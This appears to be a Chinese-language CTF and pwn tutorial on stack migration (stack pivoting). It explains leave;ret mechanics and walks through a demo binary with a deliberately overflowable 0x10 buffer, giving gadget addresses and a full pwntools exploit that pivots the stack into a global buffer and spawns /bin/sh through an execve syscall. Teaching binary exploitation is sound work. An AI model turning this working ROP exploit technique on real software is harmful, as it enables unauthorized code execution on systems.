# Stack migration(pivoting) > Author: 堇姬Naup ## 概念 - 可輸入的 ROPchain 長度不夠時,可以擴展輸入的方法,將 ROPchain 分好幾次寫在指定的區域,最後再將 stack 移動過去執行 - 如果找到其他地方有足夠空間放ROP,就可以用較少的gadget數,來將stack搬移至ROP位置,進行ROP ## leave 實際上做了兩件事 ``` mov rsp, rbp pop rbp ``` ## 方法 ### leave;ret - 透過overflow將rbp填成ROP Chain開始位置address-8 - return address填入leave;ret 的gadget ![image](https://hackmd.io/_uploads/SJINFdYmR.png) 有一塊可以寫ROP gadget的地方 ``` *0x601090(這塊記憶體開始的位置) 0xdeadbeef *0x601098(ROP開始的位置) pop rdi ['/bin/sh'] system ``` stack狀態 ``` *0x10210<-rsp stack *0x10200<-rbp old rbp ret adress ``` 填入payload ``` *0x10210<-rsp AAAAAAAA *0x10200<-rbp 0x601090(0x601098-0x8) leave;ret ``` 首先一路執行下來 通常最後會有個 ![image](https://hackmd.io/_uploads/SkBLndtXA.png) leave;ret 而leave的意思是 ``` mov rsp, rbp pop rbp ``` 所以rsp會變成rbp ``` AAAAAAAA *0x10200 <- rbp,rsp 0x601090(0x601098-0x8) leave;ret ``` 之後pop rbp會讓stack第一個值推入rbp,也就是0x601090 所以rbp會指向那塊記憶體 ``` *0x601090 <- rbp 0xdeadbeef *0x601098(ROP開始的位置) pop rdi ['/bin/sh'] system ``` 之後ret,rsp往下指到leave;ret gadget前面 ``` AAAAAAAA *0x10200 0x601090(0x601098-0x8) *01018 <- rsp leave;ret ``` 接下來rsp繼續往下 在吃到一次leave,rsp會變成rbp, ``` *0x601090 <- rbp,rsp 0xdeadbeef *0x601098(ROP開始的位置) pop rdi ['/bin/sh'] system ``` 再來pop rbp,rbp指到遙遠的地方0xdeadbeef(總之就是設成這個值) 最後ret,rsp往下指 ``` *0x601090 0xdeadbeef *0x601098(ROP開始的位置)<-rsp pop rdi ['/bin/sh'] system ``` 這樣就會開始執行ROP gadget了 ## 題目 ### checksec 開NX不能寫shellcode ![image](https://hackmd.io/_uploads/ryZ6enKQA.png) 然後其實沒開canary ![image](https://hackmd.io/_uploads/ryspWhYQC.png) ### source code ```c= #include <stdio.h>\ #include <unistd.h> char name[0x80]; int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); char s[0x10]; printf("Give me your name: "); read(0, name, 0x80); printf("Give me your ROP: "); read(0, s, 0x20); return 0; } ``` 首先name這塊區域夠大了,應該可以寫ROPgadget,另外s的部份太小了,要用stack migration來改rsp的位置 ![image](https://hackmd.io/_uploads/rk0sO2KXR.png) 另外最後有leave - execve('/bin/sh') |暫存器|值| |---|----| |rax|0x3b| |rdi|要執行的參數值(/bin/sh)| |rsi|argv(這裡=0)| |rdx|envp(這裡=0)| |gadget|address| |------|-------| |pop rax ; ret|0x4516c7| |pop rdi ; ret|0x40186a| |pop rsi ; ret|0x40f40e| |pop rdx ; ret|0x40176f| |leave ; ret|0x401dd0| |syscall|0x4012d3| 新rsp address->0x4c3300 name ``` *0x4c3300 /bin/sh\x00 pop rdi 0x4c3300 pop rax 0x3b pop rsi 0 pop rdx 0 syscall ``` s ``` 'A'*0x10 0x4c3300 leave ; ret ``` 這樣就可以讓rsp移到一塊大的記憶體來放ROPgadget,另外把也把/bin/sh放到這塊記憶體開頭這樣就可以抓到了 (可以按照上面的邏輯自己推一遍) ### script ```python= from pwn import * context.arch='amd64' a=input('open debug?') if a=='y': context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] r=process('./demo_stack_pivoting') ROPvar={ 'pop_rax_ret':0x4516c7, 'pop_rdi_ret':0x40186a, 'pop_rsi_ret':0x40f40e, 'pop_rdx_ret':0x40176f, 'leave_ret':0x401dd0, 'syscall':0x4012d3 } STACKvar={ 'rax_var':0x3b, 'rdi_var':0x4c3300, 'rsi_var':0, 'rdx_var':0, 'shell':b'/bin/sh\x00' } name_payload=flat(STACKvar['shell'], ROPvar['pop_rdi_ret'], STACKvar['rdi_var'], ROPvar['pop_rax_ret'], STACKvar['rax_var'], ROPvar['pop_rsi_ret'], STACKvar['rsi_var'], ROPvar['pop_rdx_ret'], STACKvar['rdx_var'], ROPvar['syscall'] ) s_payload=b'a'*0x10+p64(0x4c3300)+p64(ROPvar['leave_ret']) r.sendlineafter(b'Give me your name: ',name_payload) r.sendlineafter(b'Give me your ROP: ',s_payload) r.interactive() ``` ![image](https://hackmd.io/_uploads/HJG-epKQR.png) getshell!!!